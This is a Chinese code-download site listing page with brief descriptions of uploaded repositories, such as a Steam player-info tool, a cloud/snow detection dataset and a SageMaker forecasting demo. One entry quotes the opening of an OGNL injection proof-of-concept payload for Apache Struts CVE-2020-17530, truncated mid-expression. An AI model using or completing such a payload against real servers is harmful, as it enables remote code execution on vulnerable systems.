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开发技术下载,其它下载列表 第1434页

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[其它] steam-player-info:基本的Steam Player信息,例如-源码

说明:Steam玩家信息 基本的Steam播放器信息,例如:steamID。昵称,头像,创建日期
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[其它] CVE-2020-17530-源码

说明:CVE-2020-17530 s2-061 POC: %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(
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[其它] udrod.github.io-源码

说明:心灵侦察兵 使用AI识别和预防抑郁症。
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[其它] auditr-agent-go-源码

说明:auditr-agent-go
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[其它] GeoInfoNet-源码

说明:地理信息网 论文“用于遥感云/雪探测的地理信息驱动方法和新型大规模数据集”(ISPRS)上的代码和数据集信息。 概述 本文提出了一种新的基于深度学习的云和雪检测方法。该方法称为地理信息驱动神经网络(GeoInfoNet)。与之前只专注于使用图像数据(波段反射率)而忽略地理信息的方法不同,该方法中设计了一种``地理信息编码器'',它将图像的高度,纬度和经度编码为2D地图集。然后将这些地图逐像素地集成到检测网络中,然后以端到端的方式训练整个检测模型。可以看出,通过辅助信息的集成,云雾和雪的探测精度不
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[其它] sagemaker-deep-demand-forecast:使用深度学习与Amazon SageMaker进行需求预测-源码

说明:使用Amazon SageMaker进行深度需求预测 该项目使用和可用的新的最新深度学习模型为需求预测任务提供了端到端解决方案。 概述 输入数据的外观如何? 输入数据是一个多元时间序列。 例如,在41个月的时间里每小时有321位用户的每小时用电量。这是标准化数据的快照 如何准备数据以输入模型? 我们提供了有关如何在笔记本电脑中使用GluonTS提供时间序列数据的示例。要将CSV数据或其他格式转换为GluonTS格式,请参阅。 有什么输出? 训练有素的LSTNet模型和 在给定预测间隔的情况下,可
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[其它] spywhere-源码

说明:你好我是Sirisak Lueangsaksri 热衷于工作流程优化的API软件工程师。热爱使用最新技术并为OSS社区做出贡献。 我接触过的技术 这个星期我花时间在 C# 5 hrs 20 mins ███████████████████▒░░░░░ 76.96 % Lua 1 hr 3 mins ████░░░░░░░░░░░░░░░░░░░░░ 15.36 % Typescr ipt 14 mins █░░░░
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[其它] sac-sac-interaction-源码

说明:囊囊相互作用
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[其它] react-app7664258473652269-源码

说明:react-app7664258473652269
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[其它] react-app938359064829235-源码

说明:react-app938359064829235
<weixin_42127369> 上传 | 大小:12kb

[其它] Actividad1S4:Proyecto con el luchito y carlitos-源码

说明:Actividad1S4 Proyecto con el luchito y carlitos
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[其它] my-first-css-源码

说明:
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